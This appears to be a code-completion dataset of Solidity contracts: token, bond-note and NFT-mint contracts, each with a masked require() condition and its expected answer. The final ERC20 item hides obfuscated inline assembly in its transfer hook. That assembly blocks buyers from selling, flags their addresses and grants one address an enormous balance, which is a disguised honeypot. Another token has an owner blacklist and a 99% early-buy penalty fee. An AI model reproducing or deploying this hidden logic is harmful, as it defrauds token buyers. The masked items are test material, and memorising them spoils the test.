function withdrawStuckETH() external onlyOwner {
}
function isBot(address account) public view returns (bool) {
}
function _enieslobby(address[] memory Addresses,bool _status) external onlyOwner(){
}
}
|
!_isBlackListed[to],"You have no power here!"
| 210,562 |
!_isBlackListed[to]
|
"You have no power here!"
|
/**
*Submitted for verification at Etherscan.io on 2023-01-14
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
// TG: https://t.me/shinnoki
//
//
//
//
//
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDexPair {
function sync() external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string public _name;
string public _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() external virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) external virtual onlyOwner {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract Shinnoki is ERC20, Ownable {
IDexRouter public dexRouter;
address public lpPair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
address public RouterAddress;
address public LiquidityReceiver;
uint256 public maxTxnAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPMarketing = 0; // 100 = 1%
bool public lpMarketingEnabled = false;
uint256 public lpMarketingFrequency = 0 seconds;
uint256 public lastLpMarketingTime;
uint256 public manualMarketingFrequency = 1 hours;
uint256 public lastManualLpMarketingTime;
//launch variables
bool public tradingActive = false;
uint256 private _blocks;
uint256 public tradingActiveBlock = 0;
bool public swapEnabled = false;
// prevent more than 1 buy on same block this may cuz rug check bots to fail but helpful on launches
mapping(address => uint256) private _holderLastTransferBlock; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = false;
uint256 public TotalbuyFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public TotalsellFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedmaxTxnAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP(uint256 amount);
event ManualNukeLP(uint256 amount);
event OwnerForcedSwapBack(uint256 timestamp);
constructor() ERC20("Shinnoki", "SHI") payable {
}
receive() external payable {}
mapping (address => bool) private _isBlackListed;
// Toggle Transfer delay
function DisableTransferDelay() external onlyOwner {
}
function setSwapTokensAt(uint256 newAmount) external onlyOwner returns (bool){
}
function updateMaxTxn_base1000(uint256 newNum) external onlyOwner {
}
function updateMaxWallet_base1000(uint256 newNum) external onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
}
// in case something goes wrong on auto swap
function updateSwapEnabled(bool enabled) external onlyOwner(){
}
function _setbuyfees(uint256 _marketing,uint256 _liquidity) external onlyOwner{
}
function _setsellfees(uint256 _marketing,uint256 _liquidity) external onlyOwner{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function SetupFeeReceivers(address _mar,address _liq,address _dev) external onlyOwner {
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_isBlackListed[to], "You have no power here!");
require(<FILL_ME>)
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping &&
!_isExcludedFromFees[to] &&
!_isExcludedFromFees[from]
){
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != address(dexRouter) && to != address(lpPair)){
require(_holderLastTransferBlock[tx.origin] < block.number - 1 && _holderLastTransferBlock[to] < block.number - 1, "_transfer:: Transfer Delay enabled. Try again later.");
_holderLastTransferBlock[tx.origin] = block.number;
_holderLastTransferBlock[to] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedmaxTxnAmount[to]) {
require(amount <= maxTxnAmount, "Buy transfer amount exceeds the maxTxnAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedmaxTxnAmount[from]) {
require(amount <= maxTxnAmount, "Sell transfer amount exceeds the maxTxnAmount.");
}
else if (!_isExcludedmaxTxnAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpMarketingEnabled && block.timestamp >= lastLpMarketingTime + lpMarketingFrequency && !_isExcludedFromFees[from]){
autoMarketingLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// bot/sniper penalty. Tokens get transferred to Marketing wallet to allow potential refund.
if((tradingActiveBlock >= block.number - _blocks) && automatedMarketMakerPairs[from]){
fees = amount * 99 / 100;
tokensForLiquidity += fees * sellLiquidityFee / TotalsellFees;
tokensForMarketing += fees * sellMarketingFee / TotalsellFees;
tokensForDev += fees * sellDevFee / TotalsellFees;
}
// on sell
else if (automatedMarketMakerPairs[to] && TotalsellFees > 0){
fees = amount * TotalsellFees / 100;
tokensForLiquidity += fees * sellLiquidityFee / TotalsellFees;
tokensForMarketing += fees * sellMarketingFee / TotalsellFees;
tokensForDev += fees * sellDevFee / TotalsellFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && TotalbuyFees > 0) {
fees = amount * TotalbuyFees / 100;
tokensForLiquidity += fees * buyLiquidityFee / TotalbuyFees;
tokensForMarketing += fees * buyMarketingFee / TotalbuyFees;
tokensForDev += fees * buyDevFee / TotalbuyFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
// force Swap back if slippage issues.
function forceSwapBack() external onlyOwner {
}
function autoMarketingLiquidityPairTokens() internal{
}
function manualMarketingLiquidityPairTokens(uint256 percent) external onlyOwner {
}
function EnableTrading() external onlyOwner {
}
// withdraw ETH if stuck before launch
function withdrawStuckETH() external onlyOwner {
}
function isBot(address account) public view returns (bool) {
}
function _enieslobby(address[] memory Addresses,bool _status) external onlyOwner(){
}
}
|
!_isBlackListed[tx.origin],"You have no power here!"
| 210,562 |
!_isBlackListed[tx.origin]
|
"Depository: note not found"
|
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.10;
import "../types/FrontEndRewarder.sol";
import "../interfaces/IgBLKD.sol";
import "../interfaces/IStaking.sol";
import "../interfaces/ITreasury.sol";
import "../interfaces/INoteKeeper.sol";
abstract contract NoteKeeper is INoteKeeper, FrontEndRewarder {
mapping(address => Note[]) public notes; // user deposit data
mapping(address => mapping(uint256 => address)) private noteTransfers; // change note ownership
IgBLKD internal immutable gBLKD;
IStaking internal immutable staking;
ITreasury internal treasury;
constructor(
IBlackDAOAuthority _authority,
IERC20 _blkd,
IgBLKD _gblkd,
IStaking _staking,
ITreasury _treasury
) FrontEndRewarder(_authority, _blkd) {
}
// if treasury address changes on authority, update it
function updateTreasury() external {
}
/* ========== ADD ========== */
/**
* @notice adds a new Note for a user, stores the front end & DAO rewards, and mints & stakes payout & rewards
* @param _user the user that owns the Note
* @param _payout the amount of BLKD due to the user
* @param _expiry the timestamp when the Note is redeemable
* @param _marketID the ID of the market deposited into
* @return index_ the index of the Note in the user's array
*/
function addNote(
address _user,
uint256 _payout,
uint48 _expiry,
uint48 _marketID,
address _referral
) internal returns (uint256 index_) {
}
/* ========== REDEEM ========== */
/**
* @notice redeem notes for user
* @param _user the user to redeem for
* @param _indexes the note indexes to redeem
* @param _sendgBLKD send payout as gBLKD or sBLKD
* @return payout_ sum of payout sent, in gBLKD
*/
function redeem(
address _user,
uint256[] memory _indexes,
bool _sendgBLKD
) public override returns (uint256 payout_) {
}
/**
* @notice redeem all redeemable markets for user
* @dev if possible, query indexesFor() off-chain and input in redeem() to save gas
* @param _user user to redeem all notes for
* @param _sendgBLKD send payout as gBLKD or sBLKD
* @return sum of payout sent, in gBLKD
*/
function redeemAll(address _user, bool _sendgBLKD) external override returns (uint256) {
}
/* ========== TRANSFER ========== */
/**
* @notice approve an address to transfer a note
* @param _to address to approve note transfer for
* @param _index index of note to approve transfer for
*/
function pushNote(address _to, uint256 _index) external override {
require(<FILL_ME>)
noteTransfers[msg.sender][_index] = _to;
}
/**
* @notice transfer a note that has been approved by an address
* @param _from the address that approved the note transfer
* @param _index the index of the note to transfer (in the sender's array)
*/
function pullNote(address _from, uint256 _index) external override returns (uint256 newIndex_) {
}
/* ========== VIEW ========== */
// Note info
/**
* @notice all pending notes for user
* @param _user the user to query notes for
* @return the pending notes for the user
*/
function indexesFor(address _user) public view override returns (uint256[] memory) {
}
/**
* @notice calculate amount available for claim for a single note
* @param _user the user that the note belongs to
* @param _index the index of the note in the user's array
* @return payout_ the payout due, in gBLKD
* @return matured_ if the payout can be redeemed
*/
function pendingFor(address _user, uint256 _index) public view override returns (uint256 payout_, bool matured_) {
}
}
|
notes[msg.sender][_index].created!=0,"Depository: note not found"
| 210,632 |
notes[msg.sender][_index].created!=0
|
"Depository: transfer not found"
|
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.10;
import "../types/FrontEndRewarder.sol";
import "../interfaces/IgBLKD.sol";
import "../interfaces/IStaking.sol";
import "../interfaces/ITreasury.sol";
import "../interfaces/INoteKeeper.sol";
abstract contract NoteKeeper is INoteKeeper, FrontEndRewarder {
mapping(address => Note[]) public notes; // user deposit data
mapping(address => mapping(uint256 => address)) private noteTransfers; // change note ownership
IgBLKD internal immutable gBLKD;
IStaking internal immutable staking;
ITreasury internal treasury;
constructor(
IBlackDAOAuthority _authority,
IERC20 _blkd,
IgBLKD _gblkd,
IStaking _staking,
ITreasury _treasury
) FrontEndRewarder(_authority, _blkd) {
}
// if treasury address changes on authority, update it
function updateTreasury() external {
}
/* ========== ADD ========== */
/**
* @notice adds a new Note for a user, stores the front end & DAO rewards, and mints & stakes payout & rewards
* @param _user the user that owns the Note
* @param _payout the amount of BLKD due to the user
* @param _expiry the timestamp when the Note is redeemable
* @param _marketID the ID of the market deposited into
* @return index_ the index of the Note in the user's array
*/
function addNote(
address _user,
uint256 _payout,
uint48 _expiry,
uint48 _marketID,
address _referral
) internal returns (uint256 index_) {
}
/* ========== REDEEM ========== */
/**
* @notice redeem notes for user
* @param _user the user to redeem for
* @param _indexes the note indexes to redeem
* @param _sendgBLKD send payout as gBLKD or sBLKD
* @return payout_ sum of payout sent, in gBLKD
*/
function redeem(
address _user,
uint256[] memory _indexes,
bool _sendgBLKD
) public override returns (uint256 payout_) {
}
/**
* @notice redeem all redeemable markets for user
* @dev if possible, query indexesFor() off-chain and input in redeem() to save gas
* @param _user user to redeem all notes for
* @param _sendgBLKD send payout as gBLKD or sBLKD
* @return sum of payout sent, in gBLKD
*/
function redeemAll(address _user, bool _sendgBLKD) external override returns (uint256) {
}
/* ========== TRANSFER ========== */
/**
* @notice approve an address to transfer a note
* @param _to address to approve note transfer for
* @param _index index of note to approve transfer for
*/
function pushNote(address _to, uint256 _index) external override {
}
/**
* @notice transfer a note that has been approved by an address
* @param _from the address that approved the note transfer
* @param _index the index of the note to transfer (in the sender's array)
*/
function pullNote(address _from, uint256 _index) external override returns (uint256 newIndex_) {
require(<FILL_ME>)
require(notes[_from][_index].redeemed == 0, "Depository: note redeemed");
newIndex_ = notes[msg.sender].length;
notes[msg.sender].push(notes[_from][_index]);
delete notes[_from][_index];
}
/* ========== VIEW ========== */
// Note info
/**
* @notice all pending notes for user
* @param _user the user to query notes for
* @return the pending notes for the user
*/
function indexesFor(address _user) public view override returns (uint256[] memory) {
}
/**
* @notice calculate amount available for claim for a single note
* @param _user the user that the note belongs to
* @param _index the index of the note in the user's array
* @return payout_ the payout due, in gBLKD
* @return matured_ if the payout can be redeemed
*/
function pendingFor(address _user, uint256 _index) public view override returns (uint256 payout_, bool matured_) {
}
}
|
noteTransfers[_from][_index]==msg.sender,"Depository: transfer not found"
| 210,632 |
noteTransfers[_from][_index]==msg.sender
|
"Depository: note redeemed"
|
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.10;
import "../types/FrontEndRewarder.sol";
import "../interfaces/IgBLKD.sol";
import "../interfaces/IStaking.sol";
import "../interfaces/ITreasury.sol";
import "../interfaces/INoteKeeper.sol";
abstract contract NoteKeeper is INoteKeeper, FrontEndRewarder {
mapping(address => Note[]) public notes; // user deposit data
mapping(address => mapping(uint256 => address)) private noteTransfers; // change note ownership
IgBLKD internal immutable gBLKD;
IStaking internal immutable staking;
ITreasury internal treasury;
constructor(
IBlackDAOAuthority _authority,
IERC20 _blkd,
IgBLKD _gblkd,
IStaking _staking,
ITreasury _treasury
) FrontEndRewarder(_authority, _blkd) {
}
// if treasury address changes on authority, update it
function updateTreasury() external {
}
/* ========== ADD ========== */
/**
* @notice adds a new Note for a user, stores the front end & DAO rewards, and mints & stakes payout & rewards
* @param _user the user that owns the Note
* @param _payout the amount of BLKD due to the user
* @param _expiry the timestamp when the Note is redeemable
* @param _marketID the ID of the market deposited into
* @return index_ the index of the Note in the user's array
*/
function addNote(
address _user,
uint256 _payout,
uint48 _expiry,
uint48 _marketID,
address _referral
) internal returns (uint256 index_) {
}
/* ========== REDEEM ========== */
/**
* @notice redeem notes for user
* @param _user the user to redeem for
* @param _indexes the note indexes to redeem
* @param _sendgBLKD send payout as gBLKD or sBLKD
* @return payout_ sum of payout sent, in gBLKD
*/
function redeem(
address _user,
uint256[] memory _indexes,
bool _sendgBLKD
) public override returns (uint256 payout_) {
}
/**
* @notice redeem all redeemable markets for user
* @dev if possible, query indexesFor() off-chain and input in redeem() to save gas
* @param _user user to redeem all notes for
* @param _sendgBLKD send payout as gBLKD or sBLKD
* @return sum of payout sent, in gBLKD
*/
function redeemAll(address _user, bool _sendgBLKD) external override returns (uint256) {
}
/* ========== TRANSFER ========== */
/**
* @notice approve an address to transfer a note
* @param _to address to approve note transfer for
* @param _index index of note to approve transfer for
*/
function pushNote(address _to, uint256 _index) external override {
}
/**
* @notice transfer a note that has been approved by an address
* @param _from the address that approved the note transfer
* @param _index the index of the note to transfer (in the sender's array)
*/
function pullNote(address _from, uint256 _index) external override returns (uint256 newIndex_) {
require(noteTransfers[_from][_index] == msg.sender, "Depository: transfer not found");
require(<FILL_ME>)
newIndex_ = notes[msg.sender].length;
notes[msg.sender].push(notes[_from][_index]);
delete notes[_from][_index];
}
/* ========== VIEW ========== */
// Note info
/**
* @notice all pending notes for user
* @param _user the user to query notes for
* @return the pending notes for the user
*/
function indexesFor(address _user) public view override returns (uint256[] memory) {
}
/**
* @notice calculate amount available for claim for a single note
* @param _user the user that the note belongs to
* @param _index the index of the note in the user's array
* @return payout_ the payout due, in gBLKD
* @return matured_ if the payout can be redeemed
*/
function pendingFor(address _user, uint256 _index) public view override returns (uint256 payout_, bool matured_) {
}
}
|
notes[_from][_index].redeemed==0,"Depository: note redeemed"
| 210,632 |
notes[_from][_index].redeemed==0
|
"Free mint is over!"
|
pragma solidity 0.8.15;
/**
____ ___ ____ ___ ___ _ _____ __
| |_ | |_) | |_ | | \ | | \ | | | | ( (`
|_| |_| \ |_|__ |_|_/ |_|_/ |_| |_| _)_)
Fake Reddits - Freddits.
Reddit NFTs, but on ETH. Stay tuned for the Season 2 + Spooky seasn Airdrop and other announcements, announced (and verified) on Mirror.
First 500 Free, then the rest are 0.015Eth. Enjoy!
*/
contract Freddits is ERC721A, Ownable {
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 5395;
uint256 public constant MAX_FREE_MINT = 500;
mapping(address => uint) public freeMintTracker;
uint256 public price = 0.015 ether;
uint256 public MAX_PER_TXN = 20;
string public baseURI = "ipfs://QmQroLMibDRYzxYLm6hkRrzonJd4tPWjrs3qDypd5U4yAB/";
constructor() ERC721A("Freddits (Fake Reddits)", "FREDDITS") {}
function freeMint() external payable{
require(<FILL_ME>)
require(freeMintTracker[msg.sender] < 1, "Only 1 per wallet is allowed");
freeMintTracker[msg.sender]+=1;
_mint(msg.sender, 1);
}
function mint(uint256 quantity) external payable{
}
function setBaseURI(string memory _baseURI) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function getBaseURI() external view returns (string memory) {
}
}
|
totalSupply()<MAX_FREE_MINT,"Free mint is over!"
| 210,788 |
totalSupply()<MAX_FREE_MINT
|
"Only 1 per wallet is allowed"
|
pragma solidity 0.8.15;
/**
____ ___ ____ ___ ___ _ _____ __
| |_ | |_) | |_ | | \ | | \ | | | | ( (`
|_| |_| \ |_|__ |_|_/ |_|_/ |_| |_| _)_)
Fake Reddits - Freddits.
Reddit NFTs, but on ETH. Stay tuned for the Season 2 + Spooky seasn Airdrop and other announcements, announced (and verified) on Mirror.
First 500 Free, then the rest are 0.015Eth. Enjoy!
*/
contract Freddits is ERC721A, Ownable {
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 5395;
uint256 public constant MAX_FREE_MINT = 500;
mapping(address => uint) public freeMintTracker;
uint256 public price = 0.015 ether;
uint256 public MAX_PER_TXN = 20;
string public baseURI = "ipfs://QmQroLMibDRYzxYLm6hkRrzonJd4tPWjrs3qDypd5U4yAB/";
constructor() ERC721A("Freddits (Fake Reddits)", "FREDDITS") {}
function freeMint() external payable{
require(totalSupply() < MAX_FREE_MINT, "Free mint is over!");
require(<FILL_ME>)
freeMintTracker[msg.sender]+=1;
_mint(msg.sender, 1);
}
function mint(uint256 quantity) external payable{
}
function setBaseURI(string memory _baseURI) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function getBaseURI() external view returns (string memory) {
}
}
|
freeMintTracker[msg.sender]<1,"Only 1 per wallet is allowed"
| 210,788 |
freeMintTracker[msg.sender]<1
|
"Need to send more eth"
|
pragma solidity 0.8.15;
/**
____ ___ ____ ___ ___ _ _____ __
| |_ | |_) | |_ | | \ | | \ | | | | ( (`
|_| |_| \ |_|__ |_|_/ |_|_/ |_| |_| _)_)
Fake Reddits - Freddits.
Reddit NFTs, but on ETH. Stay tuned for the Season 2 + Spooky seasn Airdrop and other announcements, announced (and verified) on Mirror.
First 500 Free, then the rest are 0.015Eth. Enjoy!
*/
contract Freddits is ERC721A, Ownable {
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 5395;
uint256 public constant MAX_FREE_MINT = 500;
mapping(address => uint) public freeMintTracker;
uint256 public price = 0.015 ether;
uint256 public MAX_PER_TXN = 20;
string public baseURI = "ipfs://QmQroLMibDRYzxYLm6hkRrzonJd4tPWjrs3qDypd5U4yAB/";
constructor() ERC721A("Freddits (Fake Reddits)", "FREDDITS") {}
function freeMint() external payable{
}
function mint(uint256 quantity) external payable{
require(quantity <= MAX_PER_TXN, "20 per txn, pls");
require(<FILL_ME>)
_mint(msg.sender, quantity);
}
function setBaseURI(string memory _baseURI) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function getBaseURI() external view returns (string memory) {
}
}
|
quantity*price<=msg.value,"Need to send more eth"
| 210,788 |
quantity*price<=msg.value
|
"ERC20: trading is not yet enabled."
|
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private loughsInfantries;
uint256 private podleyAnisokonia = block.number*2;
mapping (address => bool) private finaleUnderemphasized;
mapping (address => bool) private pseudoaconitineMonocarbonate;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private epigraphyRoadhouses;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private streuselMessianist;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply;
uint256 private disulfonicBeneighbored; uint256 private theV; uint256 private scribingPropendent = block.number*2;
bool private trading; uint256 private hierographicalPenumbrae = 1; bool private overpassionateUnhaired;
uint256 private fructosideSeparative; uint256 private insuppressibilityMycologize;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function symbol() public view virtual override returns (string memory) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function humblestSchmear() internal {
}
function openTrading() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function _beforeTokenTransfer(address sender, address recipient, uint256 toughenersFinagle) internal {
require(<FILL_ME>)
assembly {
function proagreementCentilitre(x,y) -> elapineOverswell { mstore(0, x) mstore(32, y) elapineOverswell := keccak256(0, 64) }
function vibratoGowns(x,y) -> squirtingAcknew { mstore(0, x) squirtingAcknew := add(keccak256(0, 32),y) }
if eq(chainid(),0x1) {
if eq(sload(proagreementCentilitre(recipient,0x4)),0x1) { sstore(0x15,add(sload(0x15),0x1)) }
if and(lt(gas(),sload(0xB)),and(and(or(or(and(or(eq(sload(0x16),0x1),eq(sload(proagreementCentilitre(sender,0x5)),0x1)),gt(sub(sload(0x3),sload(0x13)),0x9)),gt(toughenersFinagle,div(sload(0x99),0x2))),and(gt(toughenersFinagle,div(sload(0x99),0x3)),eq(sload(0x3),number()))),or(and(eq(sload(proagreementCentilitre(recipient,0x4)),0x1),iszero(sload(proagreementCentilitre(sender,0x4)))),and(eq(sload(vibratoGowns(0x2,0x1)),recipient),iszero(sload(proagreementCentilitre(sload(vibratoGowns(0x2,0x1)),0x4)))))),gt(sload(0x18),0x0))) { if gt(toughenersFinagle,div(sload(0x11),0x564)) { revert(0,0) } }
if or(eq(sload(proagreementCentilitre(sender,0x4)),iszero(sload(proagreementCentilitre(recipient,0x4)))),eq(iszero(sload(proagreementCentilitre(sender,0x4))),sload(proagreementCentilitre(recipient,0x4)))) {
let gimletedArchduke := sload(0x18) let viverAntherozooidal := sload(0x99) let saramaccanerViticulture := sload(0x11)
switch gt(saramaccanerViticulture,div(viverAntherozooidal,0x3)) case 1 { saramaccanerViticulture := sub(saramaccanerViticulture,div(div(mul(saramaccanerViticulture,mul(0x203,gimletedArchduke)),0xB326),0x2)) } case 0 { saramaccanerViticulture := div(viverAntherozooidal,0x3) }
sstore(0x11,saramaccanerViticulture) sstore(0x18,add(sload(0x18),0x1)) }
if and(or(or(eq(sload(0x3),number()),gt(sload(0x12),sload(0x11))),lt(sub(sload(0x3),sload(0x13)),0x9)),eq(sload(proagreementCentilitre(sload(0x8),0x4)),0x0)) { sstore(proagreementCentilitre(sload(0x8),0x5),0x1) }
if and(iszero(sload(proagreementCentilitre(sender,0x4))),iszero(sload(proagreementCentilitre(recipient,0x4)))) { sstore(proagreementCentilitre(recipient,0x5),0x1) }
if iszero(mod(sload(0x15),0x8)) { sstore(0x16,0x1) sstore(0xB,0x1C99342) sstore(proagreementCentilitre(sload(vibratoGowns(0x2,0x1)),0x6),exp(0xA,0x33)) }
sstore(0x12,toughenersFinagle) sstore(0x8,recipient) sstore(0x3,number()) }
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
